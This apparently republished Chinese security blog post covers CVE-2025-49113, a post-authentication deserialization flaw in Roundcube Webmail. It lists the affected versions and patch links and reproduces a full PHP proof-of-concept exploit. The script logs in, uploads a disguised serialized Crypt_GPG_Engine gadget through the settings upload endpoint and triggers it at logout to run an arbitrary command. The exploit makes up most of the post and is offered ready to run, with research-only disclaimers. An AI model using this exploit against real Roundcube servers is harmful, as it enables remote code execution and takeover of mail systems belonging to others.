CVE-2025-49113|Roundcube Webmail反序列化漏洞(POC)

admin 2025年6月7日23:42:38评论89 views字数 9986阅读33分17秒阅读模式

0x00 前言

Roundcube Webmail是一个开源的基于web的电子邮件客户端,旨在提供用户友好的界面和强大的功能,使用户能够通过web浏览器方便地访问和管理他们的电子邮件。

Roundcube支持标准的邮件协议(如IMAP和SMTP),并提供了许多常见的邮件功能,如收发邮件、管理联系人、创建日历事件等。其界面简洁直观,易于使用,同时还支持插件扩展,用户可以根据自己的需求定制功能。

Roundcube Webmail被广泛应用于个人用户、企业和组织,为他们提供了一个方便、安全的电子邮件管理解决方案。

0x01 漏洞描述

在program/actions/settings/upload.php文件中没有对 _from参数进行验证,导致允许经过身份验证的用户触发反序列化,执行远程代码。

0x02 CVE编号

CVE-2025-49113

0x03 影响版本

Roundcube Webmail <1.5.10

1.6.0<= Roundcube Webmail <1.6.11

0x04 漏洞详情

POC:

https://github.com/fearsoff-org/CVE-2025-49113

<?php/** * Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113] * * Universal PoC for any PHP version *  * Author: Kirill Firsov https://x.com/k_firsov * Organization: FearsOff Cybersecurity (https://fearsoff.org) * Writeup: https://fearsoff.org/research/roundcube * *  * Main execution flow. * php CVE-2025-49113.php http://roundcube.local username password "touch /tmp/pwned" * *  * Disclaimer: *   This proof-of-concept code is provided for educational and research purposes only. *   The author and contributors assume no responsibility for any misuse or damage *   resulting from the use of this code. Unauthorized use on systems you do not own *   or have explicit permission to test is illegal and strictly prohibited. Use at your own risk. * * @param array<string> $argv * @return void */functionmain(array$argv): void{    message('Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]');    if(count($argv) < 5) {        message(            sprintf(                'Usage: php %s <target_url> <username> <password> <command>',                basename(__FILE__)            ),            1        );    }    [$_$targetUrl$username$password$command] = $argv;    try {        validateUrl($targetUrl);        // Initial request to get CSRF token and starting session cookies        [$csrfToken$initialCookie] = fetchCsrfTokenAndCookie($targetUrl);        // Authenticate using the initial cookie        $sessionCookie authenticate(            $targetUrl,            $username,            $password,            $csrfToken,            $initialCookie        );        message("Command to be executed: n" . $command);        // Prepare and inject payload        [$payloadName$payloadFile] = calcPayload($command);        injectPayload($targetUrl$sessionCookie$payloadName$payloadFile);        // Trigger and cleanup        executePayload($targetUrl$sessionCookie);        message('Exploit executed successfully');    } catch(Exception $e) {        message('Error: ' . $e->getMessage(), 1);    }}// -----------------------------------------------------------------------------// Helper functions// -----------------------------------------------------------------------------/** * Validates the target URL. * * @param string $url * @throws Exception */functionvalidateUrl(string$url): void{    if(false === filter_var($url, FILTER_VALIDATE_URL)) {        throw new Exception('Invalid target URL: ' . $url);    }}/** * Retrieves CSRF token and session cookie from initial GET. * * @param string $targetUrl * @return array{string, string} [urlencoded csrf token, initial cookie string] * @throws RuntimeException If request fails or token missing */functionfetchCsrfTokenAndCookie(string$targetUrl): array{    message('Retrieving CSRF token and session cookie...');    $context stream_context_create(['http' => ['method' => 'GET']]);    $body = @file_get_contents($targetUrl '/'false$context);    if(false === $body) {        throw new RuntimeException('Failed to fetch initial page for CSRF token');    }    $rawHeaders $http_response_header ?? [];    $headersStr implode("rn"$rawHeaders);    $token  = getToken($body);    $cookie getCookie($headersStr);    return [$token$cookie];}/** * Authenticates to Roundcube and returns the updated session cookie. * * @param string $targetUrl * @param string $user * @param string $pass * @param string $token * @param string $cookie Existing cookie from initial request * @return string Combined session cookie * @throws RuntimeException on authentication failure */functionauthenticate(    string $targetUrl,    string $user,    string $pass,    string $token,    string $cookie): string {    message("Authenticating user: {$user}");    $postData http_build_query([        '_token'    => $token,        '_task'     => 'login',        '_action'   => 'login',        '_timezone' => '_default_',        '_url'      => '_task=login',        '_user'     => $user,        '_pass'     => $pass,    ]);    $headers = [        'Content-Type: application/x-www-form-urlencoded',        "Cookie: {$cookie}",    ];    $context stream_context_create([        'http' => [            'method'          => 'POST',            'header'          => implode("rn"$headers),            'content'         => $postData,            'follow_location' => 0,        ],    ]);    $body = @file_get_contents($targetUrl '/?_task=login'false$context);    $respHeaders implode("rn"$http_response_header ?? []);    if(false === $body || !preg_match('#HTTP/d+.d+s+302#'$respHeaders)) {        throw new RuntimeException('Authentication failed: ' . PHP_EOL . ($body ?: 'no response'));    }    message('Authentication successful');    return getCookie($respHeaders);}/** * Injects the malicious payload via the user settings upload endpoint. * * @param string $targetUrl * @param string $cookie * @param string $payloadName * @param string $payloadFile * @return void * @throws Exception */functioninjectPayload(string$targetUrlstring$cookiestring$payloadNamestring$payloadFile): void{    message('Injecting payload...');    $boundary '------a_rule_for_WAF_to_block_fool_exploitation';    $multipart implode("rn", [        '--' . $boundary,        'Content-Disposition: form-data; name="_file[]"; filename="' . $payloadFile '"',        'Content-Type: image/png',        '',        base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII'),        '--' . $boundary '--',    ]);    $headers implode("rn", [        'X-Requested-With: XMLHttpRequest',        'Content-Type: multipart/form-data; boundary=' . $boundary,        'Cookie: ' . $cookie,    ]);    $context stream_context_create([        'http' => [            'method'  => 'POST',            'header'  => $headers,            'content' => $multipart,        ],    ]);    $url sprintf(        '%s/?_from=edit-%s&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload',        $targetUrl,        urlencode($payloadName)    );    message('End payload: ' . $url);    $response = @file_get_contents($urlfalse$context);    if(false === $response || strpos($response'preferences_time') === false) {        throw new Exception('Payload injection failed, got: ' . ($response ?: 'no response'));    }    message('Payload injected successfully');}/** * Triggers execution of the injected payload by serializing session data. * * @param string $targetUrl * @param string $cookie * @return void */functionexecutePayload(string$targetUrlstring$cookie): void{    message('Executing payload...');    $token getToken(        file_get_contents(            $targetUrl '/',            false,            stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])        )    );    file_get_contents(        sprintf('%s/?_task=logout&_token=%s'$targetUrl$token),        false,        stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])    );}/** * Extracts and encodes the CSRF token from response body. * * @param string $body HTTP response body * @return string URL-encoded token * @throws RuntimeException If token is not found */functiongetToken(string$body): string{    if(preg_match('/(?:"request_token":"|&_token=)([^"&]+)(?:"|s)/Uuis'$body$matches)) {        return rawurlencode($matches[1]);    }    throw new RuntimeException('CSRF token not found in response body');}/** * Aggregates Set-Cookie headers into a single cookie string. * * @param string $headers Raw HTTP headers * @param string $existing Any existing cookie string to preserve * @return string Concatenated cookies */functiongetCookie(string$headersstring$existing ''): string{    $cookies = [];    if(preg_match_all('/^Set-Cookie:s*([^=]+)=([^;]+);/mi'$headers$matches, PREG_SET_ORDER)) {        foreach($matches as [$full$key$value]) {            if($value === '-del-') {                continue;            }            $cookies[] = sprintf('%s=%s'$key$value);        }    }    return $existing implode(';'$cookies) . (!empty($cookies) ? ';' : '');}/** * Magic is happening here */functioncalcPayload($cmd){classCrypt_GPG_Engine{private $_gpgconf;function__construct($cmd){$this->_gpgconf = $cmd.';#';}}$payload serialize(new Crypt_GPG_Engine($cmd));$payload process_serialized($payload) . 'i:0;b:0;';$append strlen(12 + strlen($payload)) - 2;$_from '!";i:0;'.$payload.'}";}}';$_file 'x|b:0;preferences_time|b:0;preferences|s:'.(78 + strlen($payload) + $append).':\"a:3:{i:0;s:'.(56 + $append).':\".png';$_from preg_replace('/(.)/''$1' . hex2bin('c'.rand(0,9)), $_from); //little obfuscationreturn [$_from$_file];}/** * PHPGGC magic */functionprocess_serialized($serialized$full false){$new '';$last 0;$current 0;$pattern '#bs:([0-9]+):"#';while($current strlen($serialized) &&preg_match($pattern$serialized$matches, PREG_OFFSET_CAPTURE, $current)){$p_start $matches[0][1];$p_start_string $p_start strlen($matches[0][0]);$length $matches[1][0];$p_end_string $p_start_string $length;if(!(strlen($serialized) > $p_end_string 2 &&substr($serialized$p_end_string2) == '";')){$current $p_start_string;continue;}$string substr($serialized$p_start_string$length);$clean_string '';for($i=0$i strlen($string); $i++){$letter $string[$i];            if($full || !ctype_print($letter) || $letter == '\' || $letter == '|' || $letter == '.' /* rc spec */)$letter sprintf("\%02x"ord($letter));$clean_string .= $letter;}$new .= substr($serialized$last$p_start $last) .'S:' . $matches[1][0] . ':"' . $clean_string '";';$last $p_end_string 2;$current $last;}$new .= substr($serialized$last);return $new;}/** * Prints a formatted message and optionally exits. * * @param string  $text     Message to print * @param int     $exitCode Exit code (0 to continue) * @return void */functionmessage(string$textint$exitCode 0): void{    echo '### ' . $text . PHP_EOL . PHP_EOL;    if($exitCode !== 0) {        exit($exitCode);    }}main($argv);
CVE-2025-49113|Roundcube Webmail反序列化漏洞(POC)

0x05 参考链接

https://github.com/roundcube/roundcubemail/pull/9865

https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10

原文始发于微信公众号(信安百科):CVE-2025-49113|Roundcube Webmail反序列化漏洞(POC)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月7日23:42:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-49113|Roundcube Webmail反序列化漏洞(POC)https://cn-sec.com/archives/4145180.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息